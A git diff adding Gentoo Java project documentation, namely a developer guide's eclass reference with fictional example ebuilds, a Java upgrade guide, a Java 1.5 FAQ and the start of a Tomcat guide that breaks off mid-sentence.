+inherit eutils java-pkg-2 java-ant-2
+
+DESCRIPTION="Fictional example ebuild."
+HOMEPAGE="http://www.gentoo.org/"
+SRC_URI="mirror://gentoo/${P}-src.tar.gz"
+
+LICENSE="Apache-2.0"
+SLOT="0"
+KEYWORDS="~x86 ~sparc ~ppc ~amd64 ppc64"
+IUSE=""
+
+COMMON_DEP="
+        dev-java/xerces:2
+        >=dev-java/log4j-1.2.8:0"
+
+RDEPEND=">=virtual/jre-1.4
+        ${COMMON_DEP}"
+
+DEPEND=">=virtual/jdk-1.4
+        ${COMMON_DEP}"
+
+S=${WORKDIR}/${P}-src
+
+java_prepare() {
+        cd "${S}/lib"
+        rm -v *.jar || die
+
+        java-pkg_jar-from xerces-2
+        java-pkg_jar-from log4j log4j.jar log4j-1.2.8.jar
+}
+
+src_install() {
+        java-pkg_newjar target/${P}-dev.jar ${PN}.jar
+
+        use doc &amp;&amp; java-pkg_dojavadoc dist/api
+        use source &amp;&amp; java-pkg_dosrc src/java/org
+        use examples &amp;&amp; java-pkg_doexamples src/java/examples
+}
+</pre>
+
+<pre caption="Example: Optional java support">
+
+EAPI="2"
+
+inherit eutils java-pkg-opt-2
+
+DESCRIPTION="Fictional example ebuild"
+HOMEPAGE="http://www.gentoo.org/"
+SRC_URI="mirror://gentoo/${P}.tar.gz"
+
+LICENSE="LGPL-2.1"
+SLOT="0"
+KEYWORDS="~amd64 ~ia64 ~ppc ~ppc64 ~sparc ~x86"
+IUSE="java doc nls"
+
+DEPEND="java? ( >=virtual/jdk-1.4 )"
+RDEPEND="java? ( >=virtual/jre-1.4 )"
+
+java_prepare() {
+        epatch "${FILESDIR}/${P}.patch"
+}
+
+src_compile() {
+        local myconf="$(use_enable java)"
+        if use java; then
+                myconf="${myconf} --with-javac-args=\"$(java-pkg_javac-args)\""
+        fi
+
+        econf $(use_enable nls) ${myconf} || die
+
+        emake || die
+}
+
+src_install() {
+        make install DESTDIR=${D} || die
+
+        if use java; then
+                java-pkg_newjar build/java/${P}.jar ${PN}.jar
+
+                if use doc; then
+                        java-pkg_dohtml -r doc/java
+                fi
+        fi
+}
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Java Eclass Reference</title>
+<section>
+<title>Overview</title>
+<body>
+
+<p>
+Currently there are six Java related eclasses.
+</p>
+
+<table>
+<tr>
+  <th>Eclass</th><th>Usage</th>
+</tr>
+<tr>
+  <ti><uri link="#java-pkg-2.eclass">java-pkg-2.eclass</uri></ti>
+  <ti>Any and all java based packages</ti>
+</tr>
+<tr>
+  <ti><uri link="#java-pkg-opt-2.eclass">java-pkg-opt-2.eclass</uri></ti>
+  <ti>Package that have optional java support</ti>
+</tr>
+<tr>
+  <ti><uri link="#java-ant-2.eclass">java-ant-2.eclass</uri></ti>
+  <ti>Ant based packages (see also the <uri link="ant-guide.xml">Ant Guide</uri>)</ti>
+</tr>
+<tr>
+  <ti><uri link="#java-utils-2.eclass">java-utils-2.eclass</uri></ti>
+  <ti>
+    Inherited by the java-pkg* eclasses and contains all the functions and dark
+    voodoo
+  </ti>
+</tr>
+<tr>
+  <ti><uri link="#java-vm-2.eclass">java-vm-2.eclass</uri></ti>
+  <ti>Helper functions for packages that provide a VM</ti>
+</tr>
+<tr>
+	<ti><uri link="#java-osgi.eclass">java-osgi.eclass</uri></ti>
+	<ti>Helper functions for packages that need to be OSGi compliant (special manifest inside the jar)</ti>
+</tr>
+</table>
+
+</body>
+</section>
+<section id="java-pkg-2.eclass">
+<title>java-pkg-2.eclass</title>
+<body>
+
+<p>
+This is the eclass you should for any package using Java.
+It inherits java-utils-2, and gives you all the needed function.
+It also depends on the correct version of java-config the eclass
+needs to do its work.
+It also exports the pkg_setup phase, where it switchs the vm
+and setup the environment for your VM.
+</p>
+
+</body>
+</section>
+<section id="java-pkg-opt-2.eclass">
+<title>java-pkg-opt-2.eclass</title>
+<body>
+
+<p>
+This is the eclass you should use for packages with optional java support.
+It does the same as java-pkg-2.eclass but only when the 'java' USE flag is on.
+The USE flag that is used to enable Java features can be changed by setting 
+JAVA_PKG_OPT_USE before inheriting this eclass.
+</p>
+
+</body>
+</section>
+<section id="java-vm-2.eclass">
+<title>java-vm-2.eclass</title>
+<body>
+
+<p>
+This eclass should be inherited by all packages that provide a VM.  If no
+system-vm can be found it will set the one currently being merged as the 
+system-vm.  It also has a function to install the env file and create all 
+necessary symlinks.
+</p>
+
+<ul>
+  <li><c>set_java_env</c>
+  <ul>
+    <li>
+      Takes the env file, fills with with the appropriate variables (ie name, version, etc) and places it in /etc/env.d/java, then
+	  creates the jvm symlink in /usr/lib/jvm/
+    </li>
+    <li>Takes the base env file as argument</li>
+  </ul>
+  </li>
+  <li><c>install_mozilla_plugin</c>
+  <ul>
+    <li>Creates a symlink for the mozilla plugin</li>
+    <li>Takes the path to the oij plugin</li>
+  </ul>
+  </li>
+</ul>
+
+</body>
+</section>
+<section id="java-ant-2.eclass">
+<title>java-ant-2.eclass</title>
+<body>
+
+<p>
+You should inherit this eclass when your package uses ant. This eclass automatically rewrites the build.xml unless JAVA_PKG_BSFIX is set to off.
+fex: Add source/target attributes to javac calls.
+</p>
+<p>
+The rewriting is done in java-ant-2_src_configure for EAPI 2 or eant for earlier EAPIs.
+</p>
+<p>
+Some variables you can set from your ebuild. (Usually not needed)
+</p>
+
+<ul>
+  <li><c>JAVA_PKG_BSFIX</c>
+  <ul>
+    <li>
+      After src_unpack, should we try to 'fix' ant build files to include (the
+      correct) target and source attributes
+    </li>
+    <li>Default: on</li>
+  </ul>
+  </li>
+  <li><c>JAVA_PKG_BSFIX_ALL</c>
+  <ul>
+    <li>Should we try to fix all build files we can find</li>
+    <li>Default: yes</li>
+  </ul>
+  </li>
+  <li><c>JAVA_PKG_BSFIX_NAME</c>
+  <ul>
+    <li>The name or names(space separated) of the build xml we should fix</li>
+    <li>Default: build.xml</li>
+  </ul>
+  </li>
+  <li><c>JAVA_PKG_BSFIX_TARGET_TAGS</c>
+  <ul>
+    <li>Tags to add the target attribute to</li>
+    <li>Default: javac xjavac javac.preset</li>
+  </ul>
+  </li>
+  <li><c>JAVA_PKG_BSFIX_SOURCE_TAGS</c>
+  <ul>
+    <li>Tags to add the source attribute to</li>
+    <li>Default: javadoc javac xjavac javac.preset</li>
+  </ul>
+  </li>
+</ul>
+
+</body>
+</section>
+
+<section id="java-osgi.eclass">
+	<title>java-osgi.eclass</title>
+	<body>
+		
+		<p>
+			You should inherit this eclass when your package needs to be OSGi compliant. This eclass contains functions similar to those those in java-utils-2, but that create a jar containing a manifest with special values. This manifest will allow the jar to be used as an OSGi bundle in applications based on OSGi, for example Eclipse.
+		</p>
+		<p>
+			If a package is using this eclass, it means that another Gentoo package based on OSGi needs it. Thus, version bumps of the package should still use the install functions from this eclass.
+		</p>
+		<p>
+			Some of the functions in this eclass request a Manifest file. In this case, be careful about the file you provide. It's usually best to copy the Manifest from a safe source, eg. from Eclipse's bundled jars for example. Note that upstream Eclipse creates those files manually.
+		</p>
+		
+		<ul>
+			<li><c>java-osgi_dojar</c>
+				<ul>
+					<li>
+						Similar to java-pkg_dojar. Installs a jar, and records it in the package env. Make sure the jar name does not contain a version. The manifest in the jar will be filled with headers populated from the arguments given to this function.
+					</li>
+					<li>Takes four parameters:
+						<ul>
+							<li>path to the jar (like in java-pkg_dojar)</li>
+							<li>bundle symbolic name</li>
+							<li>bundle name</li>
+							<li>export-package-header. This is the most important thing, you must provide a valid OSGi export header. Refer to the OSGi documentation for help with this.</li>
+     					</ul>
+					</li>
+				</ul>
+			</li>
+			<li><c>java-osgi_newjar</c>
+				<ul>
+					<li>
+						Similar to java-pkg_newjar. Use this if you need to rename the jar. The manifest in the jar will be filled with headers populated from the arguments given to this function.
+					</li>
+					<li>Takes four or five parameters:
+						<ul>
+							<li>path to the jar (like in java-pkg_newjar)</li>
+							<li>(Optional) name of the renamed jar. If absent, it will be ${PN}.jar</li>
+							<li>bundle symbolic name</li>
+							<li>bundle name</li>
+							<li>export-package-header. This is the most important thing, you must provide a valid OSGi export header. Refer to the OSGi documentation for help with this.</li>
+						</ul>
+					</li>
+				</ul>
+			</li>			
+			<li><c>java-osgi_dojar-fromfile</c>
+				<ul>
+					<li>
+						Similar to java-osgi_dojar, except that instead of creating the manifest from the given arguments, it takes a path to a Manifest file.
+					</li>
+					<li>Takes three or four parameters:
+						<ul>
+							<li>(Optional) --no-auto-version. This option disables automatic rewriting of the version in the Manifest file. If not present, the Gentoo package version will be written to the Manifest.</li>
+							<li>path to the jar</li>
+							<li>path to the Manifest file</li>
+							<li>bundle name</li>
+						</ul>
+					</li>
+				</ul>
+			</li>
+			<li><c>java-osgi_newjar-fromfile</c>
+				<ul>
+					<li>
+						Similar to java-osgi_newjar, except that instead of creating the manifest from the given arguments, it takes a path to a Manifest file.
+					</li>
+					<li>Takes from three to five parameters:
+						<ul>
+							<li>(Optional) --no-auto-version. This option disables automatic rewriting of the version in the Manifest file. If not present, the Gentoo package version will be written to the Manifest.</li>
+							<li>path to the jar</li>
+							<li>(Optional) name of the renamed jar. If absent, it will be ${PN}.jar</li>
+							<li>path to the Manifest file</li>
+							<li>bundle name</li>
+						</ul>
+					</li>
+				</ul>
+			</li>
+		</ul>
+		
+	</body>
+</section>
+
+</chapter>
+
+<chapter id="java-utils-2.eclass">
+<title>java-utils-2.eclass</title>
+<section id="eant / ejavac">
+<title>eant/ejavac</title>
+<body>
+
+<p>
+Since a lot of people prefer to compile their packages with jikes or
+eclipse-ecj, and it was becoming a hassle to add these in every ebuild we
+provide 2 wrapper scripts to call either ant with that compiler or that
+compiler itself.
+</p>
+
+<p>
+It will read the file <path>/etc/java-config/compilers.conf</path> and try the
+entries front to end until it find an available(installed) compiler, and use
+it. It can contain any combination of: 'ecj' 'jikes' and 'javac'.
+</p>
+
+<p>
+You should only use this if the package is known to work all 3 of the
+compilers, if later on a problem does occur with one of them, you can set
+JAVA_PKG_FILTER_COMPILER to it in the ebuild, and it will no longer try to use
+it.
+</p>
+
+<p>
+It also listens to the JAVA_PKG_FORCE_COMPILER environment variable to force
+one of them, this can be useful when testing a new ebuild with every compiler.
+</p>
+
+</body>
+</section>
+<section id="func_install">
+<title>Install functions</title>
+<body>
+
+<ul>
+  <li><c>java-pkg_dojar</c>
+  <ul>
+    <li>
+      Installs a jar, and records it in the package env. Make sure the jar name
+      does not contain a version.
+    </li>
+    <li>Takes one or more paths to a jars</li>
+    <li>will die on errors</li>
+  </ul>
+  </li>
+  <li><c>java-pkg_newjar</c>
+  <ul>
+    <li>
+      If you need to rename the jar, since we don't allow versions in the jar
+      name, then calls _dojar.
+    </li>
+    <li>If you only pass one argument it will name it ${PN}.jar</li>
+    <li>will die on errors</li>
+  </ul>
+  </li>
+  <li><c>java-pkg_dowar</c>
+    <ul>
+      <li>
+        Installs a war into a packages webapps directory.
+      </li>
+      <li>War is not recorded within package.env and is not integrated with java-config or any servlet container (e.g. Tomcat)</li>
+      <li>Takes one or more paths to a war</li>
+      <li>will die on errors</li>
+    </ul>
+  </li>
+  <li><c>java-pkg_dohtml</c>
+  <ul>
+    <li>Deprecated, use dohtml now.
+    </li>
+  </ul>
+  </li>
+  <li><c>java-pkg_dojavadoc</c>
+  <ul>
+    <li>
+      Installs javadoc documentation and records it to package.env
+    </li>
+    <li>Takes only one argument namely the directory of the javadoc root.</li>
+    <li>Will die if the argument is not a directory or does not exist.</li>
+  </ul>
+  </li>
+  <li><c>java-pkg_doexamples</c>
+  <ul>
+    <li>
+      Installs examples to the standard location
+    </li>
+	<li>Takes multiple arguments.</li>
+	<li>If given only one directory, installs dir/* into examples/.</li>
+    <li>Will die on errors</li>
+  </ul>
+  </li> <li><c>java-pkg_addcp</c>
+  <ul>
+    <li>Sometimes you need specials things on the package's classpath</li>
+    <li>Classpath string</li>
+  </ul>
+  </li>
+  <li><c>java-pkg_regjar</c>
+  <ul>
+    <li>record an already installed jar in he packages env</li>
+    <li>Takes one or more paths to a jars. Will strip ${D}</li>
+    <li>will die on error</li>
+  </ul>
+  </li>
+  <li><c>java-pkg_doso</c>
+  <ul>
+    <li>Install a jni library, and register its location it the package env</li>
+    <li>Takes one ore more path to a library</li>
+    <li>will die on error</li>
+  </ul>
+  </li>
+  <li><c>java-pkg_regso</c>
+  <ul>
+    <li>record an already installed library in the package env</li>
+    <li>takes one or more paths to a library</li>
+    <li>will die on error</li>
+  </ul>
+  </li>
+  <li><c>java-pkg_jarinto</c>
+  <ul>
+    <li>Change the location java-pkg_dojar installs to</li>
+  </ul>
+  </li>
+  <li><c>java-pkg_sointo</c>
+  <ul>
+    <li>Change the location java-pkg_doso installs to</li>
+  </ul>
+  </li>
+  <li><c>java-pkg_dosrc</c>
+  <ul>
+    <li>
+      Install a zip containing the source, so it can used in IDE's like
+      Eclipse or Netbeans.
+    </li>
+    <li>Takes a list of paths to the base of the source directories like com or org.</li>
+    <li>Will die on error</li>
+  </ul>
+  </li>
+  <li><c>java-pkg_dolauncher</c>
+  <ul>
+    <li>
+      Makes a wrapper script to launch/start this package.<br/>
+      This wrapper will (attempt to) automatically figure out the dependency
+      and build up the classpath and library path when needed. It will also
+      make sure it uses a vm that is capable of running the package and every
+      dependency. 
+    </li>
+	<li>You can call the function without any arguments if the ebuild only installs one jar. 
+		In that case the function uses ${PN} as the binary name and the jar is launched using the Main-class
+		attribute (the same as running with java -jar). Otherwise use the following arguments.
+      <ul>
+        <li><c>--main</c> The class to start</li>
+        <li><c>--jar</c> The jar to launch (this will ignore classpath)</li>
+        <li><c>--java_args</c> Extra arguments to pass to java</li>
+        <li><c>--pkg_args</c> Extra arguments to pass to the package</li>
+        <li><c>--pwd</c> Directory it should launch the app from</li>
+        <li><c>-into</c> Directory where it should put the launch wrapper</li>
+        <li><c>-pre</c> Location of a (bash) script to include and run prior to launching</li>
+      </ul>
+    </li>
+  </ul>
+  </li>
+</ul>
+
+</body>
+</section>
+<section id="func_query">
+<title>Query functions</title>
+<body>
+
+<ul>
+  <li><c>java-pkg_jar-from</c>
+  <ul>
+    <li>Creates symlinks to the jars of a package in the cwd</li>
+    <li>Can be called with
+    <ul>
+      <li>A comma separated list of packages</li>
+      <li>A single package and the jar name you want from that package</li>
+      <li>A single package, the jar name, and the name of symlink</li>
+    </ul>
+    </li>
+    <li>Will die on errors</li>
+  </ul>
+  </li>
+  <li><c>java-pkg_getjars</c>
+  <ul>
+    <li>echos the classpath, and record the dependency</li>
+    <li>Takes a comma separated list of packages</li>
+    <li>Does not die on errors, returns 1</li>
+  </ul>
+  </li>
+  <li><c>java-pkg_getjar</c>
+  <ul>
+    <li>echos the classpath of the jar, and records the dependency</li>
+    <li>A single package, and the name of the jar</li>
+    <li>Does not die on errors, returns 1</li>
+  </ul>
+  </li>
+</ul>
+
+</body>
+</section>
+<section id="func_other">
+<title>Other functions</title>
+<body>
+
+<ul>
+  <li><c>eant</c>
+  <ul>
+    <li>Wrapper to call ant and use the preferred compiler</li>
+    <li>Will pass any args to ant</li>
+    <li>Will die on error</li>
+    <li>
+      Affected by the ANT_TASKS and related variables - see the 
+      <uri link="ant-guide.xml">Ant Guide</uri> for details.
+    </li>
+  </ul>
+  </li>
+  <li><c>ejavac</c>
+  <ul>
+    <li>Wrapper to call the preferred compiler</li>
+    <li>Will pass any args to javac</li>
+    <li>Will die on error</li>
+  </ul>
+  </li>
+  <li><c>ejunit</c>
+  <ul>
+    <li>Wrapper start junit.textui.TestRunner</li>
+	<li>Will pass on any args</li>
+	<li>Appends junit and full recorded deptree to -cp or -classpath</li>
+    <li>Will die on error</li>
+  </ul>
+  </li>
+  <li><c>java-pkg_get-source</c>
+  <ul>
+    <li>Get the -source value</li>
+  </ul>
+  </li>
+  <li><c>java-pkg_get-target</c>
+  <ul>
+    <li>Get the -target value</li>
+  </ul>
+  </li>
+  <li><c>java-pkg_javac-args</c>
+  <ul>
+    <li>Get the arguments that should be passed to javac</li>
+  </ul>
+  </li>
+  <li><c>java-pkg_switch-vm</c>
+  <ul>
+    <li>Attempts to switch to the best vm</li>
+  </ul>
+  </li>
+  <li><c>java-pkg_ensure-vm-version-sufficient</c>
+  <ul>
+    <li>die if the current vm cannot build this package</li>
+    <li>Takes a version: 1.4 1.5</li>
+  </ul>
+  </li>
+  <li><c>java-pkg_ensure-vm-version-eq</c>
+  <ul>
+    <li>die if the current vm's version isn't equal to  ${1}</li>
+    <li>Takes a version: 1.4 1.5</li>
+  </ul>
+  </li>
+  <li><c>java-pkg_is-vm-version-eq</c>
+  <ul>
+    <li>test is the active vm's version equals $1</li>
+    <li>Takes a version: 1.4 1.5</li>
+  </ul>
+  </li>
+  <li><c>java-pkg_ensure-vm-version-ge</c>
+  <ul>
+    <li>die if the current vm's version isn't at least ${1}</li>
+    <li>Takes a version: 1.4 1.5</li>
+  </ul>
+  </li>
+  <li><c>java-pkg_is-vm-version-ge</c>
+  <ul>
+    <li>test if the active vm's version is at least $1</li>
+    <li>Takes a version: 1.4 1.5</li>
+  </ul>
+  </li>
+  <li><c>java-pkg_register-dependency</c>
+  <ul>
+    <li>Register runtime dependency on a package</li>
+    <li>Useful for binary packages and things loaded by custom classloading</li>
+    <li>Takes a package list: xerces-2,xalan</li>
+    <li>Or one jar from a package: ant-core ant.jar</li>
+  </ul>
+  </li>
+  <li><c>java-pkg_register-optional-dependency</c>
+  <ul>
+    <li>Same as register-dependency but the package is not expected to be installed at runtime</li>
+  </ul>
+  </li>
+</ul>
+
+</body>
+</section>
+<section id="ext_vars">
+<title>External variables</title>
+<body>
+
+<p>
+Some variables that can come in handy, you are <e>not</e> allowed to use these
+from an ebuild.
+</p>
+
+<ul>
+  <li><c>JAVA_PKG_ALLOW_VM_CHANGE</c>
+  <ul>
+    <li>
+      Allow the eclass to switch the vm at merge time.  If you set this to no,
+      it will die when the active vm isn't sufficient
+    </li>
+  <li>Default: yes</li>
+  </ul>
+  </li>
+ <li><c>JAVA_PKG_WANT_TARGET</c>
+  <ul>
+    <li>Ignore what DEPEND claims it needs, and use the value of this var for -target</li>
+    <li>Default: unset</li>
+  </ul>
+  </li>
+  <li><c>JAVA_PKG_WANT_SOURCE</c>
+  <ul>
+    <li>Ignore what DEPEND claims it needs, and use the value of this var for -source</li>
+    <li>Default: unset</li>
+  </ul>
+  </li>
+  <li><c>JAVA_PKG_FORCE_VM</c>
+  <ul>
+    <li>Force a specific jdk at build time.</li>
+    <li>Default: unset</li>
+  </ul>
+  </li>
+  <li><c>JAVA_PKG_FORCE_COMPILER</c>
+  <ul>
+    <li>Force a specific compiler to use at build time.</li>
+    <li>Default: unset</li>
+  </ul>
+  </li>
+  <li><c>JAVA_PKG_DEBUG</c>
+  <ul>
+    <li>Turn on very verbose output in for example build.xml rewriting and ant.</li>
+    <li>Default: unset</li>
+  </ul>
+  </li>
+  <li><c>JAVA_PKG_STRICT</c>
+  <ul>
+    <li>Enables additional checks in Java eclasses. This variable must be set when developing Java ebuilds.</li>
+    <li>Default: unset</li>
+  </ul>
+  </li>
+</ul>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>External Resources</title>
+<section>
+<body>
+<ul>
+  <li>
+    <uri link="/proj/en/devrel/handbook/handbook.xml">Developer Handbook</uri>
+  </li>
+  <li>
+    <uri link="http://devmanual.gentoo.org">Devmanual</uri>
+  </li>
+</ul>
+</body>
+</section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/en/java/java-upgrade.xml b/xml/htdocs/proj/en/java/java-upgrade.xml
new file mode 100644
index 00000000..136cf5bb
--- /dev/null
+++ b/xml/htdocs/proj/en/java/java-upgrade.xml
@@ -0,0 +1,199 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/java/java-upgrade.xml,v 1.24 2008/08/25 19:24:07 nightmorph Exp $ -->
+
+<guide link="/proj/en/java/java-upgrade.xml" lang="en">
+<title>Gentoo Java Upgrade Guide</title>
+
+<author title="Author">
+  <mail link="nichoj@gentoo.org">Joshua Nichols</mail>
+</author>
+<author title="Author">
+  <mail link="kartk@gentoo.org">Karl Trygve Kalleberg</mail>
+</author>
+<author title="Editor">
+  <mail link="nightmorph@gentoo.org">Josh Saddler</mail>
+</author>
+
+<abstract>
+This guide shows you how to upgrade Java to the new generation of Java on
+Gentoo, along with related concepts and tools.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.1</version>
+<date>2008-08-25</date>
+
+<chapter>
+<title>Introduction</title>
+
+<section>
+<body>
+<p>
+Hello and welcome. About now, you may be asking 'why would I want to upgrade my Java?' Or perhaps, you began the process and got directed to this page by an error during a merge? Regardless, the purpose of this document is to help you along with upgrading to the new Java system. Ah, but what is up with this new Java system?
+</p>
+</body>
+</section>
+
+<section>
+<title>The new Java system</title>
+<body>
+<p>
+For those not familar with the new Java system, here is a laundry list of new features:
+</p>
+
+<ul>
+<li>Ability to switch the current VM on the fly</li>
+<li>Changes to the user and system VM take effect immediately, and no longer are tied to the shell environment (ie no more running env-update &amp;&amp; source /etc/profile after switching the sytem VM)</li>
+<li>Now has the concept of a 'build VM', which is used to emerge packages, and is configured independently of the system VM.</li>
+<li>For each version of Java, ie 1.3, 1.4, 1.5, etc, the build vm can configured as to which vendor and version of a VM to use</li>
+<li>The VM at emerge time will be switched on the fly according to its configuration, as well as the dependency of the package. For example, some packages won't compile with 1.5. In these cases, a 1.4 VM will be used at build time.</li>
+<li>Java packages which build with ant will have their build.xml rewritten at build time, in order to ensure that the correct version of Java bytecode is compiled.</li>
+<li>Java 1.5 is unmasked, after some time being package.masked</li>
+<li>Java 1.6 will be made available as soon as it is released.</li>
+</ul>
+</body>
+</section>
+
+<section>
+<title>Terminology / Concepts</title>
+<body>
+
+<p>
+Now that you have an idea of what you're getting to... here are a few terms and concepts you might find useful before starting.
+</p>
+
+<dl>
+  <dt>Generation</dt>
+  <dd>
+	This is a new concept. The idea is that a generation is a set of tools
+	and eclasses for building Java packages. So at some point, we begin
+	migrating from the existing generation to a new one. During this time,
+	both generations coexist on your system and in the portage tree. So, for example, you would have a system vm
+	set for Generation 1 <e>and</e> a system vm for Generation 2. By
+	doing this, packages that use Generation 1 and Generation 2 can
+	coexist while migrating to the new generation.
+  </dd>
+  <dt>Generation 1</dt>
+  <dd>
+	This generation consists of the existing eclasses (java-pkg, java-utils, and java) and
+	<c>java-config-1.</c> Generation 1 is legacy system that is being phased out.
+  </dd>
+  <dt>Generation 2</dt>
+  <dd>
+	This generation consists of the new eclasses (java-pkg-2, java-pkg-opt-2, java-ant-2, and java-utils-2) and the new version of java-config. This is the generation that we are migrating towards.
+  </dd>
+  <dt>Generation 1 System VM</dt>
+  <dd>
+	This is the VM that is used to emerge Java packages using the eclasses
+	from Generation 1. It is set using <c>java-config-1 --set-system-vm &lt;choice of
+	vm&gt;</c>.
+  </dd>
+  <dt>Generation 2 System VM</dt>
+  <dd>
+	With Generation 2, the system VM is only used for root and for users
+	that haven't set a user VM.
+  </dd>
+  <dt>Generation 2 Build VM</dt>
+  <dd>
+	Generation 2 introduces a new class of VM. The Build VM is used at
+	merge time for building Java packages. It is changed as necessary
+	depending on the package. For example, if a package only compiles
+	with 1.4, a 1.4 VM will be used. Defaults are defined at
+	<path>/usr/share/java-config-2/config/jdk-defaults.conf</path>.
+	Additionally, the Build VM can be configured by
+	<path>/etc/java-config-2/build/jdk.conf</path>. 
+  </dd>
+</dl>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Update java-config</title>
+<section>
+<body>
+
+<p>
+A new package, <c>java-config-wrapper</c>, is blocked by old versions of
+<c>java-config</c>, so we should remove that first:
+</p>
+
+<pre caption="Remove old java-config">
+# <i>emerge -C java-config</i>
+</pre>
+
+<p>
+Now we should install the new versions of <c>java-config</c>:
+</p>
+
+<pre caption="Install new java-config">
+# <i>emerge -1 java-config:0 java-config:2</i>
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Check your environment</title>
+<section>
+<body>
+
+<p>
+We now provide a new script, <c>java-check-environment</c>.  This, as
+the name may imply, checks the health of your system's Java environment. It then suggests what actions
+that you should take to fix any problems found. So now run:
+</p>
+
+<pre caption="Check your environment">
+# <i>java-check-environment</i>
+</pre>
+
+<p>
+If java-check-environment encounters a problem, it will stop and tell you about it, and how to fix it. Follow the advice given, and then rerun java-check-environment until it does not find any other problems.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Upgrade... complete!</title>
+<section>
+<body>
+<p>
+If you've gotten this far, then you have succesfully upgraded to the new Java system. Congratulations!
+</p>
+
+<p>
+Now that you've upgraded, you may want to take a look at our updated documentation:
+</p>
+
+<ul>
+ <li><uri link="/doc/en/java.xml">User Guide</uri></li>
+ <li><uri link="java-devel.xml">Developer Guide</uri></li>
+</ul>
+</body>
+
+</section>
+</chapter>
+
+<chapter>
+<title>Common Issues and Questions</title>
+<section>
+<body>
+<p>
+To address common problems experienced when upgrading, the Java team has
+setup a wiki page <uri link="http://overlays.gentoo.org/proj/java/wiki/Common_Problems">here</uri>. Before seeking help or reporting
+issues elsewhere, please refer to this page.
+</p>
+</body>
+
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/java/tiger-faq.xml b/xml/htdocs/proj/en/java/tiger-faq.xml
new file mode 100644
index 00000000..f1025f47
--- /dev/null
+++ b/xml/htdocs/proj/en/java/tiger-faq.xml
@@ -0,0 +1,94 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/java/tiger-faq.xml,v 1.25 2006/07/24 19:05:22 nichoj Exp $ -->
+
+<guide link="/proj/en/java/tiger-faq.xml" lang="en">
+<title>Gentoo Java 1.5 FAQ</title>
+
+<author title="Author">
+  <mail link="nichoj@gentoo.org">Joshua Nichols</mail>
+</author>
+
+<author title="Author">
+  <mail link="karltk@gentoo.org">Karl Trygve Kalleberg</mail>
+</author>
+
+<abstract>
+This FAQ covers issues related to Java 1.5 support on Gentoo.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.2</version>
+<date>2006-07-24</date>
+
+<chapter>
+<title>Why was Java 1.5 hard-masked for so long?</title>
+<section>
+<body>
+
+<p>
+  Java 1.5 was hard masked forever because there were a number of issues which 
+  made it unsafe to use a 1.5 JDK as your system VM.
+</p>
+
+<p>
+  The first issue with Java 1.5 was backwards compatibility. If 
+  you compile packages with a 1.5 JDK, the default behavior is that 
+  the compiled classes can only be used in a 1.5 or above VM.
+</p>
+
+<p>
+  The other significant issue is that there are packages which are not 
+  compatible with JDK 1.5, as they currently exist in the portage tree. For 
+  example, several abstract classes and interfaces now have new abstract 
+  methods in 1.5. This means that packages would need to be patched to 
+  override these abstract methods. Failing that, you could also try using 
+  1.4 to compile the offending package.  However, due to the backwards 
+  compatibility problem mentioned above, you wouldn't be able to use 
+  external libraries, because they were compiled only for 1.5.
+</p>
+
+</body>
+</section>
+</chapter>
+
+
+<chapter>
+<title>What is the status of Java 1.5?</title>
+<section>
+<body>
+  <p>
+    The good news is that work is that support for 1.5 is here!
+  </p>
+
+  <p>
+      To begin using it, you will need to follow the <uri
+      link="java-upgrade.xml">upgrade guide</uri>.
+  </p>
+
+  <p>
+    The Java documentation has been updated for the usage of this new system,
+	and is available at:
+  </p>
+
+    <ul>
+      <li><uri link="/doc/en/java.xml">User Guide</uri></li>
+      <li><uri link="java-devel.xml">Developer Guide</uri></li>
+    </ul>
+  <p>
+    Additional material can be found at the following, under the 
+    'Migration' section:
+  </p>
+
+  <ul>
+    <li><uri link="https://overlays.gentoo.org/proj/java/">The Gentoo Java Wiki</uri></li>
+  </ul>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/java/tomcat-guide.xml b/xml/htdocs/proj/en/java/tomcat-guide.xml
new file mode 100644
index 00000000..8f5d2eca
--- /dev/null
+++ b/xml/htdocs/proj/en/java/tomcat-guide.xml
@@ -0,0 +1,427 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<guide link="/doc/en/tomcat_guide.xml" lang="en">
+  <title>Tomcat Guide</title>
+
+  <author title="Author">
+    <mail link="wltjr@gentoo.org">William L. Thomson Jr.</mail>
+  </author>
+  <author title="Editor">
+    <mail link="nichoj@gentoo.org">Joshua Nichols</mail>
+  </author>
+  <abstract>
+    This guide provides information on the layout, usage, and other things related to
+    Tomcat version 5.0.28, 5.5.x and later on Gentoo Linux.
+  </abstract>
+
+  <!-- The content of this document is licensed under the CC-BY-SA license -->
+  <!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+  <license/>
+
+  <version>1.9</version>
+  <date>2007-02-03</date>
+
+  <chapter>
+    <title>Introduction</title>
+    <section>
+      <body>
+        <p>
+	  Some aspects of Tomcat on Gentoo are slightly different than 
+	  how upstream handles it. This document aims to provide some 
+	  information on how it differs. This document is based on 
+	  Tomcat versions 5.0.28, 5.5.x and later. Versions of Tomcat 
+	  older than 5.5.x should not be used, as it is discouraged by 
+	  upstream. Which includes Tomcat 5.0.28. Only use that version 
+	  if your application requires it. Otherwise please use 5.5.x or 
+	  later when released.
+        </p>
+        <p>
+          The biggest initial difference on Gentoo is Tomcat being spread across 
+          multiple directories. That is because applications on Gentoo strive to
